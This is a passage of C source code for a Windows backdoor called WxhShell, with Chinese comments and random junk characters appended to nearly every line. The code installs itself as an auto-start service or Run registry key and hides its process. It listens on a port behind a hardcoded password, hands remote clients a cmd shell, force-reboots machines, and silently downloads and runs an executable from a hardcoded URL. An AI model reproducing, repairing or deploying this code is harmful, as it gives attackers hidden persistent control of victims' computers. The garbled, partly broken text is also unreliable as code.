    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /~?'zr  
    else {  Hy _ (  
    closesocket(wsh); 8cV3VapF  
    ExitThread(0); )*=ds ,  
    } :`~;~gW<  
    break; Sz.sX w;  
    } Oq-O|qJj  
  // 获取shell 9"5J-a'  
  case 's': { "enGWI H  
    CmdShell(wsh); !Nu ~4  
    closesocket(wsh); 8J}gj7^8  
    ExitThread(0); x]~{#pH@<  
    break; gVM&wo |  
  } 9A@/5Z:v5W  
  // 退出 'P1I-ue  
  case 'x': { Sm@T/+uG:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >}& :y{z~  
    CloseIt(wsh); n]?KDID;  
    break; MN wMF  
    } `1AVw] k  
  // 离开 EDMuQu/D8  
  case 'q': { =Oo=&vA.oc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y[=X b  
    closesocket(wsh); T$p!I RPt  
    WSACleanup(); ~N<zv( {lG  
    exit(1); *] H8X=[x  
    break; Fx6c*KNX3  
        } E}7@?o7u}  
  } I?2S{]!?  
  } /I`A wCx  
M0+xl+c+  
  // 提示信息 9/?@2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] LcCom:]  
} U`G  
  } `\}Ck1o  
_6y#?8RMB  
  return; (KHO'QNMt^  
} Pv- i.  
ku8C#%.m3  
// shell模块句柄 O[$,e%  
int CmdShell(SOCKET sock) <_o).hE{  
{ z( 00"ei  
STARTUPINFO si; %5?Zjp+9  
ZeroMemory(&si,sizeof(si)); -rn%ASye  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mm&#I[:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3} Xf  
PROCESS_INFORMATION ProcessInfo; fJiY~mQ  
char cmdline[]="cmd"; ?@*hU2MTC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0bl?dOV{  
  return 0; 50< QF  
} +4*3aWf`  
&nKb<o  
// 自身启动模式 xF/u('A  
int StartFromService(void) \LN!k-c  
{ C\3;o]  
typedef struct C2X$bX"  
{ 0~/'c0Ho  
  DWORD ExitStatus; 3xhGmD\SKO  
  DWORD PebBaseAddress; qKSS 2f $  
  DWORD AffinityMask; (dH "b *  
  DWORD BasePriority; i9RAb tQ}  
  ULONG UniqueProcessId; 51sn+h<w  
  ULONG InheritedFromUniqueProcessId; y7X2|$9z-  
}   PROCESS_BASIC_INFORMATION; K*QRi/O  
Wb1?>q  
PROCNTQSIP NtQueryInformationProcess; iImy"$yX{  
|E}-j;(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s"'ns  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !l(O$T9 T  
J,W<vrKOcN  
  HANDLE             hProcess; `K%f"by  
  PROCESS_BASIC_INFORMATION pbi; ^uV=|1<%  
H(QbH)S$6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >z"\l  
  if(NULL == hInst ) return 0; 2FE13{+f  
Y\ C"3+I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~LfFLC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J4woZ{d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p0|PVn.^h  
pXhN?joe  
  if (!NtQueryInformationProcess) return 0; 75"&"*R/*G  
!q8"Q t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nu6p{_M  
  if(!hProcess) return 0; VE $Kdo^  
w;wgh`ur  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u[<ij  
,Qh9}I7;C  
  CloseHandle(hProcess); EJid@  
N f^6t1se  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i"h~QEE  
if(hProcess==NULL) return 0; DUMC4+i  
\gW6E^  
HMODULE hMod; {5NE jUu{j  
char procName[255]; c$n`=NI  
unsigned long cbNeeded; *km!<L7Y  
?Z2_y-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <*@!>6mS  
+=Y$v2BZA3  
  CloseHandle(hProcess); 1]wo    
!<UdG+iV  
if(strstr(procName,"services")) return 1; // 以服务启动 g/W&Ap;qVL  
f~R`RBZ]9  
  return 0; // 注册表启动 Fp(-&,L0fc  
} nj <nW5[  
5@nv cCp  
// 主模块 hbSXa'  
int StartWxhshell(LPSTR lpCmdLine) aE2Yl  
{ 7.nNz&UG]5  
  SOCKET wsl;  l3Wh&*0  
BOOL val=TRUE; +ZJ1> n  
  int port=0; u):Nq<X  
  struct sockaddr_in door; k0IztFyj:R  
v m.%)F#@  
  if(wscfg.ws_autoins) Install();  r<1.'F  
i{7Vh0n3S-  
port=atoi(lpCmdLine); M6lNdK  
swfjKBfw+g  
if(port<=0) port=wscfg.ws_port; 1UN$eb7  
`OHdo$Y9  
  WSADATA data; h%ba!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KSR'X0'  
Z!z#+G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >/9Qgyc 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v9GfudTZR  
  door.sin_family = AF_INET; >@.:9}Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $|o[l.q2  
  door.sin_port = htons(port); %&M*G@j  
.GiQC {@9w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $p\0/  
closesocket(wsl); la_FZ  
return 1; r}|a*dh'R  
} (BZd%!  
PX5U)  
  if(listen(wsl,2) == INVALID_SOCKET) { xP5Z -eL  
closesocket(wsl); MmW]U24s  
return 1; Jzj>=jWX@  
} _ {mG\*q  
  Wxhshell(wsl); 2T-3rC)  
  WSACleanup(); 4=ZN4=(_[  
w!/|aZ~*  
return 0; 3 Bn9Ce=  
g*$yUt  
} O/lu0acI  
: G0^t  
// 以NT服务方式启动 AfJ.SNE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F=V_ACU  
{ #QKgY7  
DWORD   status = 0; l/6(V:  
  DWORD   specificError = 0xfffffff; zF_aJ+i:~  
&` weW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .!Q?TSQ+{!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {3N5Fi7S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; skBzwVW I  
  serviceStatus.dwWin32ExitCode     = 0; 1fcyGZq  
  serviceStatus.dwServiceSpecificExitCode = 0; "xE;IpO[  
  serviceStatus.dwCheckPoint       = 0; Nq ZR*/BOz  
  serviceStatus.dwWaitHint       = 0; 0 rilg  
!K/zFYl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TuMD+^x  
  if (hServiceStatusHandle==0) return; o;J_"' kP  
RLUH[[  
status = GetLastError(); br7_P1ep  
  if (status!=NO_ERROR) Y%YPR=j~ &  
{ 'H)l~L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yc~c(1VRz  
    serviceStatus.dwCheckPoint       = 0; t zSg`7H!  
    serviceStatus.dwWaitHint       = 0; %|gj46  
    serviceStatus.dwWin32ExitCode     = status; =f-.aq(G/  
    serviceStatus.dwServiceSpecificExitCode = specificError; o3xfif  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tCbn B  
    return; @P xX]e  
  } w\Bx=a>vc  
,?>:Cdz4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #>(h!lT_  
  serviceStatus.dwCheckPoint       = 0; JnBg;D|)@  
  serviceStatus.dwWaitHint       = 0; sp&)1?!M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2:D1<z6RQ  
} {-kV~p  
G ~|Z (}H  
// 处理NT服务事件,比如:启动、停止 Jz'8|o;^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Uq4PCx!  
{ 6$"0!fl>  
switch(fdwControl) o9D]\PdL>  
{ @qWes@  
case SERVICE_CONTROL_STOP: yct^AN|%  
  serviceStatus.dwWin32ExitCode = 0; d&[.=M\E8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H:&|q+K=#  
  serviceStatus.dwCheckPoint   = 0; }!0nb)kL  
  serviceStatus.dwWaitHint     = 0; OBJk\j+Wi  
  { UkV{4*E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fxL0"Ry  
  } ZsikI@?  
  return; (>gAnebN L  
case SERVICE_CONTROL_PAUSE: 6Y(Vs>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >"q~9b A  
  break; Kv26rY8Q  
case SERVICE_CONTROL_CONTINUE: _/zK ^S)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d %Z+.O  
  break; ^6[o$eY3  
case SERVICE_CONTROL_INTERROGATE: 60u}iiC@  
  break; 0/Wo":R:  
}; :6Oh?y@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (0/)vZc  
} "mm|0PUJ  
9e:}q O5)  
// 标准应用程序主函数 a;$'A[hq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q~p[jQ,4wZ  
{ yAt,XG3  
Z>#MTxU(  
// 获取操作系统版本 ^7l^ /GSO  
OsIsNt=GetOsVer(); Ni4*V3VB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G~\ SI.  
0^PI&7A?y  
  // 从命令行安装 W~&PGmRI  
  if(strpbrk(lpCmdLine,"iI")) Install(); z a^s%^:yK  
I3ZbHb-)_,  
  // 下载执行文件 )=)=]|3  
if(wscfg.ws_downexe) { "T_OLegdK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _+\hDV>v  
  WinExec(wscfg.ws_filenam,SW_HIDE); mjd9]HgN  
} n^7$ST#'bV  
] EzX$T  
if(!OsIsNt) { Q*+_%n1 /  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fq<;-  
HideProc(); A%G \ AT  
StartWxhshell(lpCmdLine); {,|J?>{  
} aDik1Q  
else p<@0b  
  if(StartFromService()) :%?\Wj5HW  
  // 以服务方式启动 u$ZahN!  
  StartServiceCtrlDispatcher(DispatchTable); v<`1z?dch  
else @YEdN}es  
  // 普通方式启动 tilL7  
  StartWxhshell(lpCmdLine); Ti@X< C  
b7:B[7yK.x  
return 0; :W/,V^x}  
} =m4_8)-8u  
@a1+  
% DQ.f*%  
#]yb;L  
=========================================== &&w7-  
%0PZZl5b  
q1nGj  
GA{Q6]B  
fU+A~oL%I  
&S.zc@rN  
" FshQ OFW  
5O9Oi:-!c  
#include <stdio.h> ~lR"3z_Z}  
#include <string.h> k MS[   
#include <windows.h> 7^bO`  
#include <winsock2.h> KB,!s7A  
#include <winsvc.h> f.gkGwNk  
#include <urlmon.h> `j59MSuK  
k!]Tg"]JAh  
#pragma comment (lib, "Ws2_32.lib") Kl[WscR  
#pragma comment (lib, "urlmon.lib") W"mkNqH  
6 m5\f  
#define MAX_USER   100 // 最大客户端连接数 "R$ee^  
#define BUF_SOCK   200 // sock buffer z,nRw/o  
#define KEY_BUFF   255 // 输入 buffer 2#nn}HEOC  
uBk$zs  
#define REBOOT     0   // 重启 H ~c+L'=  
#define SHUTDOWN   1   // 关机 46'EZ@#s  
bID'r}55  
#define DEF_PORT   5000 // 监听端口 P 7 [p$Z  
39 JLi~j,  
#define REG_LEN     16   // 注册表键长度 yZaQ{]"  
#define SVC_LEN     80   // NT服务名长度 |WeLmy%9  
XcA4EBRj  
// 从dll定义API EIl _QV6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1$fA9u$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /^ v4[]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 17G7r\iNYq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8zz-jk R  
.1MXQLy  
// wxhshell配置信息 \z8TYx@  
struct WSCFG { AKM\1H3U  
  int ws_port;         // 监听端口 =5_8f  
  char ws_passstr[REG_LEN]; // 口令 il-v>GJU7{  
  int ws_autoins;       // 安装标记, 1=yes 0=no aO'$}rDf$  
  char ws_regname[REG_LEN]; // 注册表键名 x>5#@SX J  
  char ws_svcname[REG_LEN]; // 服务名 9Dd/g7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >k^=+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a2iaP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2o/}GIKj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lN1T\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z@VY s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D6_16PJE  
#(CI/7 -  
}; }(J6zo9(x  
g{l;v  
// default Wxhshell configuration uZId.+Rk  
struct WSCFG wscfg={DEF_PORT, bM8b3, }?n  
    "xuhuanlingzhe", RXgi>Hz  
    1, 4|Jy]  
    "Wxhshell", xgJ2W_  
    "Wxhshell", p=9G)VO  
            "WxhShell Service", ` M"Zq  
    "Wrsky Windows CmdShell Service", ? {cF'RB.  
    "Please Input Your Password: ", X>F/0/  
  1, nb22b Xt  
  "http://www.wrsky.com/wxhshell.exe", yYWGM  
  "Wxhshell.exe" IcPIOCmOc  
    }; rtf>\j+  
ykl./uY'  
// 消息定义模块 ^5u}   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RIl%p~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @?*26}qp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YG?W8)T  
char *msg_ws_ext="\n\rExit."; :(A]Bm3  
char *msg_ws_end="\n\rQuit."; 7Y @ &&  
char *msg_ws_boot="\n\rReboot..."; sEe^:aSN  
char *msg_ws_poff="\n\rShutdown..."; 33[2$FBf  
char *msg_ws_down="\n\rSave to "; y| @[?B  
b V;R}3)  
char *msg_ws_err="\n\rErr!"; 6!Ji-'\"  
char *msg_ws_ok="\n\rOK!"; &bs/a] ?Z7  
A(Ugam~}  
char ExeFile[MAX_PATH]; R S;r  
int nUser = 0; 292e0cE  
HANDLE handles[MAX_USER]; N$>g)Ml?  
int OsIsNt; |53Zg"!  
bNY_V;7Kw`  
SERVICE_STATUS       serviceStatus; 2@:Go`mg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `IkWS7|  
?$pp%  
// 函数声明  U`IDZ{g  
int Install(void); hM/|k0YV  
int Uninstall(void); Mh[;E'C6  
int DownloadFile(char *sURL, SOCKET wsh); d1``} naNw  
int Boot(int flag);  yYp!s  
void HideProc(void); *hAq]VC})  
int GetOsVer(void); RBwI*~%g{  
int Wxhshell(SOCKET wsl); t~Cul+  
void TalkWithClient(void *cs); DP &,jU6  
int CmdShell(SOCKET sock); rC[*x}  
int StartFromService(void); ,>`wz^z  
int StartWxhshell(LPSTR lpCmdLine); F^3Q0KsT  
~H7m7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mcpM<vY/H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *s S7^OZ*  
HKb8z@;%@  
// 数据结构和表定义 tO)mKN+ (  
SERVICE_TABLE_ENTRY DispatchTable[] = &#w] 2~|  
{ vtv|H  
{wscfg.ws_svcname, NTServiceMain}, NK~j>>^;v  
{NULL, NULL} m/Q@-  
}; Q(T)s  
L#M9!  
// 自我安装 uqXvN'Jr  
int Install(void) >ys>Q)  
{ # ~} 26  
  char svExeFile[MAX_PATH]; o;D87E6Z  
  HKEY key; 4T{+R{_Y1  
  strcpy(svExeFile,ExeFile);  .]k+hc`  
.MXznz  
// 如果是win9x系统,修改注册表设为自启动 V&eti2 &zO  
if(!OsIsNt) { 9.!6wd4mw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Xc, Gq{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6p1\#6#@  
  RegCloseKey(key); l|/h4BJ'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &<_*yl p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SWN i@  
  RegCloseKey(key); Yo/U/dB  
  return 0; hJ (Q^Z  
    } SsIy;l  
  } C5CUMYU  
} k?;A#L~  
else { N/p9Ws  
TUw^KSa  
// 如果是NT以上系统,安装为系统服务 zcF~6-aQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jr|(K*;  
if (schSCManager!=0) w4Qqo(  
{ rjo/-910  
  SC_HANDLE schService = CreateService '_lyoVP  
  ( :2pd2S  
  schSCManager, 9z$]hl  
  wscfg.ws_svcname, 2?u>A3^R  
  wscfg.ws_svcdisp, HgvgO\`]  
  SERVICE_ALL_ACCESS, cv=nGFx6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K kP}z  
  SERVICE_AUTO_START, ZR.1SA0x?O  
  SERVICE_ERROR_NORMAL, :9Zu&t  
  svExeFile, peCmb)>Sa  
  NULL,  }fpK{db  
  NULL, x#-uf  
  NULL, b'Pq [ )  
  NULL, 1+~JGY#   
  NULL ZF"f.aV8)  
  ); !C * %,Ak  
  if (schService!=0) P~Q5d&1SO  
  { T]Gxf"mK  
  CloseServiceHandle(schService); l=8)_z;~D  
  CloseServiceHandle(schSCManager); :y==O4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xphw0Es  
  strcat(svExeFile,wscfg.ws_svcname); ` wuA}v3!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QWH1xId  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |RDmY!9&  
  RegCloseKey(key); )z&0 g2Am  
  return 0; t j&+HC  
    } qR4('  
  } LTj;e[  
  CloseServiceHandle(schSCManager); ^.5 L\  
} ,Xs%Cg_Ig  
} A ${b]  
7Fw`s@/%  
return 1; F`S OF O  
} |7,|-s[R^  
-}`ES]  
// 自我卸载 nr*~R-,\  
int Uninstall(void) d af$`  
{ _ I8L#4\(=  
  HKEY key; -CfGWO#Gbx  
W.iL!x.B@  
if(!OsIsNt) { AWHB^}!}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xx0s`5  
  RegDeleteValue(key,wscfg.ws_regname); &dF$:$'s  
  RegCloseKey(key); |};]^5s9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nv1'iSEeOl  
  RegDeleteValue(key,wscfg.ws_regname); .yE!,^j.gB  
  RegCloseKey(key);  Q];gC{I  
  return 0; ^prseO?A  
  } JYL/p9K[I  
} Oe4 l` =2  
} ztf VXmi'  
else { UZ0fw@RM  
jLX{$,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j89|hG)2  
if (schSCManager!=0) s|Ls  
{ x7K   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T0s7aw[zm  
  if (schService!=0) TWYz\Hmw  
  { ,X(P/x{B  
  if(DeleteService(schService)!=0) { vzJ69%E_  
  CloseServiceHandle(schService); *#1&IJPI  
  CloseServiceHandle(schSCManager); Os^sOOSY  
  return 0; # eqt{  
  } #&0)kr66  
  CloseServiceHandle(schService); tW53&q\=  
  } 8T92;.~(  
  CloseServiceHandle(schSCManager); fx %Y(W#5  
} X).UvPZ/  
} F +PIZ%  
D5fJuT-bp  
return 1; kK&tB  
} 9C}Ie$\  
B!GpD@U  
// 从指定url下载文件 u':-DgK  
int DownloadFile(char *sURL, SOCKET wsh)  \o !  
{ u8qL?Aj^  
  HRESULT hr; 4O_z|K_k|  
char seps[]= "/"; eO;i1>  
char *token; 6~zR(HzV{  
char *file; _ _cJ+%e  
char myURL[MAX_PATH]; a(Ka2;M4J  
char myFILE[MAX_PATH]; WsRG>w3"  
kB1]_v/  
strcpy(myURL,sURL); DfwxPt#  
  token=strtok(myURL,seps); .z&V!2zp  
  while(token!=NULL) 6} "?eW  
  { ;KJJK#j  
    file=token; "Pi\I9M3  
  token=strtok(NULL,seps); '&#`?\CXX  
  } SjD,  
1)(p=<$  
GetCurrentDirectory(MAX_PATH,myFILE); mE)65@3%  
strcat(myFILE, "\\"); c_clpMx=  
strcat(myFILE, file); {`QF(WL  
  send(wsh,myFILE,strlen(myFILE),0); J0zudbP  
send(wsh,"...",3,0); ^-{ 1]G:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MV6 %~T  
  if(hr==S_OK) nL!h hseH  
return 0; vLn<=.  
else GlP [:  
return 1; ~J?O~p`&  
G~_5E]8  
} IrQ8t!  
UXD?gK1  
// 系统电源模块 vLR)B@O,2  
int Boot(int flag) UT[nzbG  
{ zf $&+E-  
  HANDLE hToken; 2!>phE  
  TOKEN_PRIVILEGES tkp; lz\{ X  
{YZ)IaqZ  
  if(OsIsNt) { !OWVOq8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^k&zX!W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hR b k-b  
    tkp.PrivilegeCount = 1; xou7j   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !_E E|#`n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Na: M1Uhb  
if(flag==REBOOT) { 8(ny^]v|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RI w6i?/I  
  return 0; -aG( Yx  
} nQK@Uy5Yr  
else { d hiLv_/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2#_9x7g+  
  return 0; J9ovy>G  
} RyD2LAf)J  
  } D}"\nCz}y&  
  else { 9F0B-aZ  
if(flag==REBOOT) { p`gg   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 95(c{ l/  
  return 0; As@~%0 S  
} )ZzwD]  
else { q9pBS1Ej  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vq$%Ug/B  
  return 0; ~U*2h =]  
} ]w%7/N0R  
} "V~U{(Z  
GK/a^[f+'l  
return 1; \s&w0V`Y  
} R8EDJ2u#  
Wr`=P,  
// win9x进程隐藏模块 %xxe U  
void HideProc(void) WP32t@  
{ vb: '%^v  
+<:p`%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &gF{<$$  
  if ( hKernel != NULL ) ]gTa TY  
  { sC ]&Qr_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A42At]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %'\D _W&  
    FreeLibrary(hKernel); aEXV^5;,pJ  
  } N<Bi.\XC  
0J$wX yh  
return; zQ]IlMt  
} ++,mM7a  
~SM2W%  
// 获取操作系统版本 8i-?\VZD  
int GetOsVer(void) 6e  |  
{ 1{o CMq/v  
  OSVERSIONINFO winfo; H=X>o.iVqi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P%Q}R[Q  
  GetVersionEx(&winfo); ddnWr"_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \_x)E]D  
  return 1; 2:pq|eiF  
  else ih+kh7J-  
  return 0; fbw {)SZ  
} z@~1e]%  
\vQ_:-A  
// 客户端句柄模块 M*c\=(  
int Wxhshell(SOCKET wsl) / 6gRoQ%j  
{ 3J'a  
  SOCKET wsh; 9D<^)ShY  
  struct sockaddr_in client; i;|% hDNWA  
  DWORD myID; zztW7MG2lQ  
!+>yCy$~_  
  while(nUser<MAX_USER)  }O1F.5I1  
{ }=f}@JlFB  
  int nSize=sizeof(client); pQVi&(M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r4D66tF  
  if(wsh==INVALID_SOCKET) return 1; Jr''S}@|x  
cK-!Evv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0-|1}/{4  
if(handles[nUser]==0) 2lp.Td`{  
  closesocket(wsh); FswFY7 8  
else 8L=QfKr  
  nUser++; i"e) LJz  
  } ww\/$ |  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RhQOl9  
;m`I}h<  
  return 0; 7#g C(&\A  
} J2 5>t^  
Oi7=z?+j  
// 关闭 socket Ak_;GvC!  
void CloseIt(SOCKET wsh) b-O4IDIT  
{ /(}V!0\?  
closesocket(wsh); uWfse19  
nUser--; e.HN%LrhS  
ExitThread(0); -%t0'cKn,  
} +5({~2Lzvp  
1qQgAhoY  
// 客户端请求句柄 "M:arP5f  
void TalkWithClient(void *cs) 9CN / v  
{ 17 j7j@s)  
hCo&SRC/5  
  SOCKET wsh=(SOCKET)cs; d3{Zhn@  
  char pwd[SVC_LEN]; u8W*_;%:  
  char cmd[KEY_BUFF]; u!@P,,NY  
char chr[1]; \`XJz{Lm]  
int i,j; J]~fv9~P  
@DUdgPA  
  while (nUser < MAX_USER) { Ha/\&Z(  
}j:ae \(  
if(wscfg.ws_passstr) { l+N?:E$5=%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +f7?L]wzic  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h)<42Y  
  //ZeroMemory(pwd,KEY_BUFF); Vm.u3KE  
      i=0; -p;o e}|  
  while(i<SVC_LEN) { #m M&CscE  
7"[lWC!As5  
  // 设置超时 &FZe LIt  
  fd_set FdRead; Wh<lmC50(  
  struct timeval TimeOut; N%_~cR;  
  FD_ZERO(&FdRead); )RkU='lB "  
  FD_SET(wsh,&FdRead); L;f=\q"g  
  TimeOut.tv_sec=8; ^Qr P.l#pZ  
  TimeOut.tv_usec=0; cj8r-Vu/N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P! 3$RO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H\b5]q %  
a-} %R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); woT"9_tN  
  pwd=chr[0]; RXof$2CZS  
  if(chr[0]==0xd || chr[0]==0xa) { pvM8PlYo]`  
  pwd=0; K;97/"  
  break; m3XH3FgKz  
  } QP;b\1 1m  
  i++; g764wl  
    } z84W{! P  
i&3 0n#  
  // 如果是非法用户,关闭 socket C0fA3y72  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XVLuhw i  
} Q*4q3B&  
V*m)h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F*w|/-e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .;F+ QP0  
x2B"%3th0  
while(1) { 4l1=l#\S  
o"FX+ 17  
  ZeroMemory(cmd,KEY_BUFF); FKx9$B  
]EcZ|c7o9y  
      // 自动支持客户端 telnet标准   6nfkZvn  
  j=0; FezW/+D  
  while(j<KEY_BUFF) { qN0#=X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c6uKK h>  
  cmd[j]=chr[0]; =c.q]/M  
  if(chr[0]==0xa || chr[0]==0xd) { oto od  
  cmd[j]=0; 0;H6b=  
  break; oU@ljSD  
  } yki k4MeB  
  j++; tZYI{ m{  
    } PJYA5"}W  
Vtg/,1KQ  
  // 下载文件 w.Vynb  
  if(strstr(cmd,"http://")) { :I'Ezxv|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (rG1_lUDu  
  if(DownloadFile(cmd,wsh)) {^kG<v.vV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1@<),  
  else ],YYFU}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `I>K?  
  } :]^P ^khK  
  else { P\mm8s`f  
%7evPiNB  
    switch(cmd[0]) { D;I`k L  
  @."o:K  
  // 帮助 M&ij[%i  
  case '?': { v|I5Gz$qpa  
